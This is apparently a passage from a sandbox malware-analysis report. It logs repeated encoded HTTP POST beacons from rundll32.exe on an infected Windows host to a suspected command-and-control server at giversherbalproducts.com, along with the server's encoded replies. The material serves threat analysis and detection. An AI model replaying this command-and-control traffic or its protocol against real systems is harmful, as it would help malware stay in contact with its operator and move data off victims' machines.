Oct 4, 2021 16:03:04.173903942 CEST	7292	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:03 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.3	50077	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:04.332813025 CEST	7293	OUT	POST /lBawcxb5/B34GDSoaEiwrAiUkfHUXQntyfmF6fHNifWV5 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:04.801960945 CEST	7295	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:04 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.3	50078	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:04.551748037 CEST	7294	OUT	POST /lBawcxb5/ABMaOXgKehMYLi4iJy53PxgpRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:05.053630114 CEST	7295	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:04 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49777	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:21.100663900 CEST	1079	OUT	POST /lBawcxb5/CXwgNgIIIXMeeQkPPhYCOUN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:21.618535042 CEST	1081	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:21 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.3	50079	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:05.289993048 CEST	7296	OUT	POST /lBawcxb5/HQAZPjV6PwkoLTkrGToMfyNCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:05.733026981 CEST	7298	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:05 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzeUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.3	50080	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:05.483922005 CEST	7297	OUT	POST /lBawcxb5/ExwxdQ4xewJ6DQ88ITsdLD19KRdCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:05.959059000 CEST	7298	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:05 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzeUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.3	50081	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:06.172068119 CEST	7299	OUT	POST /lBawcxb5/eih9CzkYex8lRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:06.634602070 CEST	7307	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:06 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.3	50082	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:06.293184042 CEST	7300	OUT	POST /lBawcxb5/KgEcGBw6EB89ADsrEQgOOjMZOgUyIR87CSVDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:06.747303009 CEST	7308	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:06 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtzekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.3	50084	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:07.052669048 CEST	7309	OUT	POST /lBawcxb5/Bjs9GT08KRJ7HQEJQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:07.561806917 CEST	7310	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:07 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXtze0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.3	50085	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:07.091526031 CEST	7309	OUT	POST /lBawcxb5/HTkqIQkgOx59DSgOPgt/fCchJj5zfXg4AwZDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:07.616946936 CEST	7311	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:07 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 7a 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 